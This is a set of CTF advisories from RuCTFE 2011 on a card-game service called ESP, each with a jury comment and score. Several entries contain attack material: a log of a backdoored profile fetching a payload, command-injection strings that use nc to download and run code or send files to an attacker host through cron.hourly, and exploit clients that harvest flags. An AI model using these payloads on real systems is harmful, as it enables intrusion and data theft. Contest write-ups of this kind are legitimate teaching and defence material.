ESP Advisories


Service:ESP
Text:An intrusion set has been discovered in which a team has achieved back door access onto an unknown number of team boxes.
Do not enter your vz 2 without first checking /var/lib/vz/private/2/etc/profile for corruption

Vuln:
@ructfe2011:~# vzctl enter 2
entered into CT 2
-bash: jg91-ipo8-rhza:SXFCG6GBPF6352OEYQQ6N2S768EJR3M=: command not found
-bash: u3hh-175j-tne0:GTWAHIVKK6CFT7CT9RUPO2A3C9IK4RG=: command not found
-bash: sgxg-p9k2-pvgs:C3D40H00D5RSKK9TPMJ987BMCY88KG3=: command not found
-bash: zdzs-8t19-ublt:FUNT2Z2WW1H97E39O0Q80TWGA4WU392=: command not found
-bash: 9l00-ib6z-6cha:NSLMVE9BWYMJBVVI5OG8PQQCYZQT2G4=: command not found
-bash: l7gs-oxh0-xuvr:K9L4K0RPU5EGGP1IFVG9T61KCNWBMLL=: command not found
-bash: rdx6-cj7k-laty:W9NWOGYEOTRS2KIZ1S1ODQHG5ECAGA3=: command not found
-bash: xz64-mu44-7e4c:J8J7RQ288L8Q10ZJ25AK6YMLMZI0R5J=: command not found
-bash: b9c7-bx3b-uizb:KVOH64404MT7VFMV7CACT3K8HVXNO35=: command not found
-bash: ismb-7j55-su9p:1GIXF8FESAT6TV429CMZ61KBZO0TA6F=: command not found
-bash: wx7a-xy5d-gmla:SNPH5Z3WNC9IZUK9MJ81UZX17S0N58J=: command not found
-bash: ppb8-tn1u-wmfi:KHD7RB2GOHEWNFAZJTK7FW1XYCOI5RZ=: command not found
-bash: 0ntg-gane-12ac:Q2TG4NTQPVX3CUWMPC5OUN6H898A6QI=: command not found
-bash: cxkv-g3yu-j3p0:WJ74RYYKB025SFZOUUBJE3M54J218JY=: command not found
-bash: e8nv-h5ku-407c:RQK622GYLDKKF9T74YK2MIP89S13QTI=: command not found
-bash: vbmh-u2zg-bcsj:RQVXR2MAKYYNTAM77CDHGGQ7LEN25LH=: command not found
-bash: j8zg-i68d-au9e:WHNQVSYW8QRGAGRUCFR6CCUVRMR7CWT=: command not found
-bash: uv8m-xis1-6wvn:2IE2DE66J3FLL0U2AO1QST92GF0R7LW=: command not found
-bash: c8hf-nt0j-mpiu:3MCDA9T8QRZNRC7HBV90HHKJUOF5KP1=: command not found
-bash: rt9z-f0bb-jg70:DSGS2G4Q9N5C2HXJ57LSWBGMBJKJ2UT=: command not found
-bash: r36c-l6qz-ml3q:U3H2UWZ3SD2KVGSVND1HSQ43W5YH9R8=: command not found
-bash: e8o9-hozq-fav7:UFJJE04ZUELMEZ2TMO8S0NMXY3ZE871=: command not found
-bash: ioxb-bpn3-5ebs:2ERN9YY5B0HODGPRU51NJ7FVJP0OB1N=: command not found
-bash: f315-stbf-8tbm:8O3C1VCHUZGJF0KS2F17CVA75OQAHIP=: command not found
-bash: 47gj-hit7-mer0:RL1R90TU9JRA9DVNO39YXAGJOEX66GC=: command not found
-bash: p5v1-95yu-sbf2:BSHLUGOQNM01DX6NT9O4II87RIGI8L1=: command not found
-bash: ezv0-az9p-3h6s:ED8A8TL2TBDMZN80YGC8HC20SJ7ZEQN=: command not found
-bash: jryn-6xlx-0229:9W0X9F8WXIX33VGUBCQUQYWF3D8Y88V=: command not found
-bash: he0z-d3rx-wlll:43JJA1G6VEN2NZWWDFCAMR263DI1EK8=: command not found
-bash: 5jcp-4uyz-g5y5:1CH33XWSQQPPX32VTFG3QQR9ZGTXN36=: command not found
-bash: 71p6-33hs-zmgl:IQKFJ6C99HUL2IW1PGUBZ97B4YKYP7N=: command not found
-bash: imft-plb3-n8zu:L2YWAEXETGXPIKKXIOC490G0OQ31Q6N=: command not found
-bash: 9s61-vyws-8gnx:MV67S2RFKOI9MPL2AF92ZWCOIJ1143W=: command not found
-bash: 5jr6-s5gw-kccd:H3VSIPCZX0YT7YR05U3802XLLKS8YOB=: command not found
-bash: o7xv-jhh2-98e6:LJ73RUQ1H1M0DJ31XC8MO70D315QD2A=: command not found
-bash: 2:test: command not found
--2011-11-19 23:16:35-- http://10.23.XXX.XXX/
Connecting to 10.23.XXX.XXX:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25560 (25K) [text/html]
Saving to: `/tmp/.t'

100%[============================================================================>] 25,560 65.3K/s in 0.4s

2011-11-19 23:16:36 (65.3 KB/s) - `/tmp/.t' saved [25560/25560]

123 #
-bash: j8zl-s9uh-woxn:IGDA61SWFL8UURWNA74CHP5L6PUZFUI=: command not found
-bash: 8txl-h2qw-hcep:HB94FKBCJHSP7HGEUC1PTRFZQPUMUP0=: command not found
-bash: gztl-3stp-o7xb:FWF81F1C598SYGIIW6ABSAPI4YLUMTH=: command not found
-bash: 2:test: command not found
-bash: python: command not found

Patch:
Replace /var/lib/vz/private/2/etc/profile with a clean one and check that it does not include malicious code
Jury comment:Password is not hardcoded. Read readme.txt. The fact that people can't change default password is not a bug.
Score:0/1 points

Service:ESP
Text:Service: ESP

Vulnerability: Default Password/File Upload

There is a hardcoded password in the CardGameProtocol.java which is set to "changeme".
Everyone who knows that password can write files on the system.

Fix: Change the password or the start the server with args

Exploit: Write a Client that first sends a PUT command and executes the SYNC to write the data of PUT to the filesystem.
You can use the .profile file to execute code on the remote box, when a user logs in.

CardGameClient c = new CardGameClient();
c.connect("127.0.0.1");
c.execute("PUT", "echo hello;", "");
c.execute("SYNC", "changeme", "filename.txt");



Jury comment:Password is not hardcoded. Read readme.txt. The fact that people can't change default password is not a bug.
Score:0/1 points

Service:ESP
Text:------------------------------------------------------------------
--- 1. Summary: ---------------------------------------------------
-------------------------------------------------------------------

ESP's Card Game Servier uses a default password hardcoded in the JAVA source.
This hardcoded password is "changeme".

-------------------------------------------------------------------
--- 2. Description: -----------------------------------------------
-------------------------------------------------------------------

Using a default password, we can enumerate flags using SYNC and save them to a file of our choosing.

-------------------------------------------------------------------
--- 3. Exploit (WiP): -------------------------------------------
-------------------------------------------------------------------

import java.net.Socket;
import java.net.ServerSocket;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.IOException;

public class VerySimpleClient {
private String serverHostname = null;
private int serverPort = 0;
private byte[] data = null;
private int length = 0;
private Socket sock = null;
private InputStream sockInput = null;
private OutputStream sockOutput = null;

public VerySimpleClient(String serverHostname, int serverPort, int length, byte[] data){
this.serverHostname = serverHostname;
this.serverPort = serverPort;
this.length = length;
this.data = data;
}

public void sendSomeMessages(int iterations) {
System.err.println("Opening connection to "+serverHostname+" port "+serverPort);
try {
sock = new Socket(serverHostname, serverPort);
sockInput = sock.getInputStream();
sockOutput = sock.getOutputStream();
}
catch (IOException e){
e.printStackTrace(System.err);
return;
}

System.err.println("About to start reading/writing to/from socket.");

byte[] buf = new byte[length];
int bytes_read = 0;
for(int loopi = 1; loopi <= iterations; loopi++) {
try {
sockOutput.write(intToByteArray(length));
sockOutput.write(data, 0, data.length);
bytes_read = sockInput.read(buf, 0, buf.length);
}
catch (IOException e){
e.printStackTrace(System.err);
}
if(bytes_read < data.length) {
System.err.println("run: Sent "+data.length+" bytes, server should have sent them back, read "+bytes_read+" bytes, not the same number of bytes.");
}
else {
System.err.println("Sent "+length+" bytes to server and received them back again, msg = "+(new String(buf)));
}

// Sleep for a bit so the action doesn't happen to fast - this is purely for reasons of demonstration, and not required technically.
try { Thread.sleep(50);} catch (Exception e) {};
}
System.err.println("Done reading/writing to/from socket, closing socket.");

try {
sock.close();
}
catch (IOException e){
System.err.println("Exception closing socket.");
e.printStackTrace(System.err);
}
System.err.println("Exiting.");
}

private static byte[] intToByteArray(int value) {
return new byte[] { (byte)(value >>> 24), (byte)(value >>> 16), (byte)(value >>> 8), (byte)value };
}

public static void main(String argv[]) {
String hostname = "localhost";
int port = 2222;
byte[] data = "SYNC changeme flags".getBytes();
byte[] data = "GET 1".getBytes();
int length = data.length;

VerySimpleClient client = new VerySimpleClient(hostname, port, length, data);
client.sendSomeMessages(1);
}
}

Jury comment:Password is not hardcoded. Read readme.txt. The fact that people can't change default password is not a bug.
Score:0/1 points

Service:ESP
Text:ESP allows arbitrary writes as root user. This service should be run as a non-privileged user.

Using the PUT command, arbitrary commands can be added as flags.
Jury comment:Password is not hardcoded. Read readme.txt. The fact that people can't change default password is not a bug.
Score:0/1 points

Service:ESP
Text:Vuln:
Code execution via writing arbitrary data to /etc/cron.hourly/

Fix:
binary patch default password

Exploit:
def req(s):
sc = socket((ip,PORT))
sc.send(struct.pack(">I",len(s))+s)
data = sc.recv(1024*100)
return

req("PUT 1 ls;cat${IFS}/etc/cron.hourly/x|nc${IFS}YOURIP${IFS}3123")
req("SYNC \x63\x68\x61\x6e\x67\x65\x6d\x65 /etc/cron.hourly/x")
Jury comment:Password is not hardcoded. Read readme.txt. The fact that people can't change default password is not a bug.
Score:0/1 points

Service:ESP
Text:running the esp-daemon as root is too risky, because:

you can put flags into hostile daemon just by "nc <sizeoffollowingstringint>PUT flag", like something leetmore does:
;nc${IFS}10.23.4.31${IFS}8080${IFS}>/tmp/.t;${IFS}chmod${IFS}+x${IFS}/tmp/.t;${IFS}/tmp/.t;${IFS}echo${IFS}123${IFS}#;

now you dump this flag to cron.hourly: SYNC /etc/cron.hourly

wait a bit till the exploited is to be triggered...

FIX:

force esp daemon running as esp user:

/etc/init.d/esp:
...
do_start() {
start-stop-daemon --start --exec /usr/bin/java -jar $DAEMON --chuid esp
}
Jury comment:this is not considered a bug, quit posting advisories about it
Score:0/1 points


Service:ESP
Text:Vulnerability:
Client side shuffeling - modification of client is possible with the result that you will alsways win

Exploit:
New clientside shuffeling algorithm (patch) - picking cards concerning this algorithm (sourcecode is very long and fancy ;) )

Fix:
Do the shuffeling serverside
Jury comment:please send exploit source code (+1 point) and patch code (+1 point): at least class/line where to put shuffling. good work!
Score:1/3 point

Service:ESP
Text: The "shuffle" operation is done on the client and not on the server, thus the order of the cards to guess is always the same.
To get the flags, you can just remove the shuffle from the client and pick the cards in order: Suit1Rank1,Suit1Rank2,...Suit4Rank13
Jury comment:Too late. Patch (+1 point), Exploit (+1 point).
Score:0/3 points

Service:ESP
Text:The client shuffles the cards. With shuffle commented out in the client code, its easy to guess the correct order.
Jury comment:Too late. Send patch (+1 point), exploit (+1 point).
Score:0/3 points

Service:ESP
Text:ESP

Is possible to cheat using an ad hoc client instead than the regular one.

Exploit:

In order to exploit this vulnerability client logic has to be like that one below..

1) Open a socket to service
Socket socket = new Socket(s, 2222);
2) Reset
this.socketConnection.send("reset".getBytes());
3) Play the game
this.socketConnection.send("PLAY".getBytes());

4) Enforce challange
4.1) Recive the challange deck
String ClearDeck = new String(this.socketConnection.receive());
4.2) encode
deck1.encodeAll("KEY");
4.3) .. and send it
4.4) recive secondDeck encoded with the same key
String Cleardeck2 = new String(this.socketConnection.receive());

5) Insted of using provided (second) deck as key is possible to create a custom deck composed by equals charachters
keys[i] = RandomStringUtils.random(20, "a");

6) Encode the previous deck with generated key
deck2.encodeAll(this.keys);
7)Send it to server
this.socketConnection.send(("PICK " + i + " a").getBytes());
String answer = new String(this.socketConnection.receive());
8) After few iterations you will obtain the flag
if (answer.startsWith("LUCK")){
String key = answer.substring(0);
9) Decode it
this.deck.decode(i, key);
Jury comment:You can do this only because server does not shuffle the deck. Don't see why\how you can obtain flags with this exploit.
Score:0/3 points

Service:ESP
Text:___________.__ ___________.__
\_ _____/| | __ _____ ___\_ _____/|__| ____ ____ ___________ ______
| __) | | | | \ \/ / | __) | |/ \ / ___\_/ __ \_ __ | ___/
| \ | |__| | /> < | \ | | | | /_/ > ___/| | \|___ \
\___ / |____/|____//__/\_ \ \___ / |__|___| |___ / \___ >__| /____ >
\/ Advisory \/ \/ \/_____/ \/ \/
------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------
Remove shuffle from client.
Add shuffle to server.

--[ Patch ]--------------------------------------------------------------------
in CardGameClient.jar:
$ diff CardGameClient.java CardGameClient_patch.java
45c45
< /* 52 */ deck1.shuffle();
---
> /* 52 */ //deck1.shuffle();

in CardGameServer.jar network/CardGameProtocol:
$ diff CardGameProtocol.java CardGameProtocol_patch.java
202a203
> this.deck.shuffle();
Jury comment:If you mean lines 202-203, they do not match mine. Send the whole method please ASAP.
Score:0/3 points

Service:ESP
Text:Vulnerability:there is deck1.shuffle(); method in CardGameClient class.
Exploit: we should delete method deck1.shuffle(); from client class. This will ensure that all cards after encrypting/decrypting on client and server
sides will be ordered (starts with 2 clubs and ends with A spades). We just should start the game and click all cards in order.
Defense: we should insert shuffle method to the server side.
private String playSetup2(String inputDeck) {
this.deck = CryptoDeck.fromNetworkString(inputDeck);
if (this.deck == null) {
return returnErrorMessageAndResetState("wrong number of parameters");
}
this.deck.decodeAll(getSingleKey());
this.deck.encodeAll(getKeys());
deck.shuffle();
this.state = State.PLAY_SETUP_2;
return this.deck.toNetworkString();
}

Jury comment:too late, exploit OK, patch will not work.
Score:0/3 points

Service:ESP
Text:Patch:

at the server

private String playSetup1() {
this.deck = new CryptoDeck();
this.deck.encodeAll(getSingleKey());
this.state = State.PLAY_SETUP_1;
return this.deck.toNetworkString();
}
Replace by:

private String playSetup1() {
this.deck = new CryptoDeck();
this.deck.encodeAll(getSingleKey());
this.state = State.PLAY_SETUP_1;
this.deck.shuffle();
return this.deck.toNetworkString();
}
Jury comment:too late, patch OK
Score:0/3 points

Service:ESP
Text:CardGameServer trusts the fact that client shuffles the cards, so you can cheat by not shuffling and then play guessing the right order simply by enumerating them in the original order.

Fix: Server doesn't ask for shuffling, but shuffles itself the cards.

Exploit: Remove deck.shuffle() from client code then play guessing the cards from the first to the last one in the original order. The game returns flag.
Jury comment:too late
Score:0/3 points

Service:ESP
Text:PoC
---
package javaapplication3;
import java.net.*;
import org.ructf.cardgame.cards.CryptoDeck;
import org.ructf.cardgame.network.SocketConnection;
import java.lang.String;
import org.apache.commons.lang3.RandomStringUtils;
/**
* @author marcoramilli
*/
public class JavaApplication3 {
/**
* @param args the command line arguments
*/
private SocketConnection socketConnection;
private CryptoDeck deck = new CryptoDeck();
private String[] keys;
public static void main(String[] args) {
JavaApplication3 a = new JavaApplication3();
try{
a.connect(args[0]);
}catch(Exception e){e.printStackTrace();}
}//main
public void connect(String s) throws Exception {
Socket socket = new Socket(s, 2222);
this.socketConnection = new SocketConnection(socket);
System.out.print("reset = "); System.out.println("reset".getBytes());
this.socketConnection.send("reset".getBytes());
System.out.println( new String(this.socketConnection.receive()) );
System.out.print("PLAY = "); System.out.println("PLAY".getBytes());
this.socketConnection.send("PLAY".getBytes());
String ClearDeck = new String(this.socketConnection.receive());
System.out.println("ClearDeck1 = "+ ClearDeck);
CryptoDeck deck1 = CryptoDeck.fromNetworkString( ClearDeck );
deck1.encodeAll("ciao");
System.out.println("Send DECK ..... "); //System.out.println("PLAY".getBytes());
this.socketConnection.send(("DECK " + deck1.toNetworkString()).getBytes());
String Cleardeck2 = new String(this.socketConnection.receive());
CryptoDeck deck2 = CryptoDeck.fromNetworkString(Cleardeck2);
System.out.println("ClearDeck2 cofrato = "+ Cleardeck2);
deck2.decodeAll("ciao");
this.keys = new String[CryptoDeck.DECK_SIZE];
for (int i = 0; i < CryptoDeck.DECK_SIZE; i++) {
this.keys[i] = RandomStringUtils.random(20, "a");
}
deck2.encodeAll(this.keys);
this.socketConnection.send(("DECK " + deck2.toNetworkString()).getBytes());
int i = 0;
while (i <= CryptoDeck.DECK_SIZE ){
this.socketConnection.send(("PICK " + i + " a").getBytes());
String answer = new String(this.socketConnection.receive());
System.out.println("PICK " + i + " a");
System.out.println("ANSW = " + answer);
if (answer.startsWith("LUCK")){
String key = answer.substring(0);
this.deck.decode(i, key);
}
i++;
}
this.socketConnection.close();
}
}
Jury comment:first exploit,1 point
Score:1/3 point

Service:ESP
Text:___________.__ ___________.__
\_ _____/| | __ _____ ___\_ _____/|__| ____ ____ ___________ ______
| __) | | | | \ \/ / | __) | |/ \ / ___\_/ __ \_ __ | ___/
| \ | |__| | /> < | \ | | | | /_/ > ___/| | \|___ \
\___ / |____/|____//__/\_ \ \___ / |__|___| |___ / \___ >__| /____ >
\/ Advisory \/ \/ \/_____/ \/ \/
------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------
Remove shuffle from client.
Add shuffle to server.

--[ Patch ]--------------------------------------------------------------------
in CardGameClient.jar:
$ diff CardGameClient.java CardGameClient_patch.java
45c45
< /* 52 */ deck1.shuffle();
---
> /* 52 */ //deck1.shuffle();

in CardGameServer.jar network/CardGameProtocol:
//orig
private String playSetup1() {
this.deck = new CryptoDeck();
this.deck.encodeAll(getSingleKey());
this.state = State.PLAY_SETUP_1;
return this.deck.toNetworkString();
}

//patched
private String playSetup1() {
this.deck = new CryptoDeck();
this.deck.encodeAll(getSingleKey());
this.deck.shuffle();
this.state = State.PLAY_SETUP_1;
return this.deck.toNetworkString();
}
Jury comment:great, 1 point for patch
Score:1/3 point

Service:ESP
Text:ESP
--
Patch:
CardGameClient.class
line52:
-deck1.shuffle()
CardGameProtocol.class
line221
+ this.deck.shuffle()
line220
Jury comment:too late
Score:0/3 points

Service:ESP
Text:Now with exploit code ;)

Vulnerability:
Client Side shuffeling

Exploit:
Bla bla bla - client side shuffeling - really bad - bla bla - but now for the fun part - the source code:

First of all we just disabled shuffling at all ;)


public void shuffle() {
// Random random = new Random();
// int n = 1;
// for (int i = this.deck.size() - 1; i > 0; i--) {
// swap(i, random.nextInt(i + 1));
// }
}

Now we just harvest the flags with this little code snippet:

for (int n = 0; n < hosts.length; n++) {

String host = hosts[n];
CardGameClient client = new CardGameClient();
System.out.println("host: " + host);
try {
client.connect(host);
client.startGame();
String answer = "LUCK";
int z = 0;
while (answer.startsWith("LUCK")) {
answer = client.playGame(0);

z++;
if (answer.startsWith("WIN")) {

Pattern p = Pattern.compile("\\s*([^=]{32}=)");
Matcher x = p.matcher(answer);
while (x.find()) {
String flax = x.group(1).trim();
harvester.execute(flax); //submitt flag

}
break;
}
}
client.closeConnection();
} catch (IOException ex) {
System.out.println("need some vodka");
}
}
harvester.done();

in gamclient.java we patched the function playgame():

int card = 0;
public String playGame(int pickedCard) throws IOException {
....
pickedCard = card;
card++;
....
}

Fix:
Check shuffling after the client has sent the shuffled deck - the server needs to shuffle again
Put the shuffle method - i.e in playsetup3
Jury comment:too late
Score:0/3 points


Service:ESP
Text: There is weak encryption key in the ESP service. The length of the first key used in the protocol is one byte, and we
can easily guess it. That is why, if there is suffling added on the first step of the server algorithm, we can still
make correct guessing: the server always think of card in the strict order — deuce:clubs, three:clubs, four:clubs,
five:clubs, six:clubs, seven:clubs, eight:clubs, nine:clubs, ten:clubs, jack:clubs, queen:clubs, king:clubs, ace:clubs,
deuce:diamonds, three:diamonds, four:diamonds, five:diamonds, six:diamonds, seven:diamonds, eight:diamonds,
nine:diamonds, ten:diamonds, jack:diamonds, queen:diamonds, king:diamonds, ace:diamonds, deuce:hearts, three:hearts,
four:hearts, five:hearts, six:hearts, seven:hearts, eight:hearts, nine:hearts, ten:hearts, jack:hearts, queen:hearts,
king:hearts, ace:hearts, deuce:spades, three:spades, four:spades, five:spades, six:spades, seven:spades, eight:spades,
nine:spades, ten:spades, jack:spades, queen:spades, king:spades, ace:spades. So, if we can decrypt the original deck
(sent to us by server at the first step of the protocol), we can correctly point on the card thinked of by the server.

The procedure which points to the card thinked of by the server can be represented in the following way:

import os
import sys
import socket
import struct
import re

symbols = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

types = [
"clubs",
"diamonds",
"hearts",
"spades",
]

values = [
"deuce",
"three",
"four",
"five",
"six",
"seven",
"eight",
"nine",
"ten",
"jack",
"queen",
"king",
"ace",
]

cards = ["%s:%s;" % (v, t) for t in types for v in values]

def find_card(encrypted_deck, card_no):
clubs_encrypted = re.search(r":.{5};", encrypted_deck).group()[1:-1]
key = symbols[(symbols.index(clubs_encrypted[0]) - symbols.index("c")) % len(symbols)]
plaintext_deck = decrypt(encrypted_deck, key)
return plaintext_deck[:plaintext_deck.find(cards[card_no])].count(";")

The obvious way of patching is to use multibyte key at the first step of the protocol.
Jury comment:Great work! There are still vulnerabilities, keep looking.
Score:5/5 points

Service:ESP
Text:Weak encryption used for deck transfer.

The one-letter key used by default can be easily obtained because 'Clubs' is the only suit that has five letters in its name. Analogical attack can be used against multi-letter keys.
Jury comment:too late
Score:0/5 points

Service:ESP
Text:Description:
Server uses only one letter to encrypt the card deck. Thus it is very easy to bruteforce the key since the
ciphertext as well as parts of the cleartext are known. Even if shuffeling is moved to the server.

Exploit:
for(i in {a..zA..Z})
String cleartext = Cipher.decrypt(i, ciphertext);
if(cleartext.contains("JACK"))
print "cleartext found";

Solution:
Server should use longer keys for mitigating the bruteforcing risk. But as bruteforcing is always possible, the best
solution would be to never show the encrypted deck to the user. The functionallity of checking cards could be completly
moved to the server, which would make manipulation impossible.
Jury comment:too late
Score:0/5 points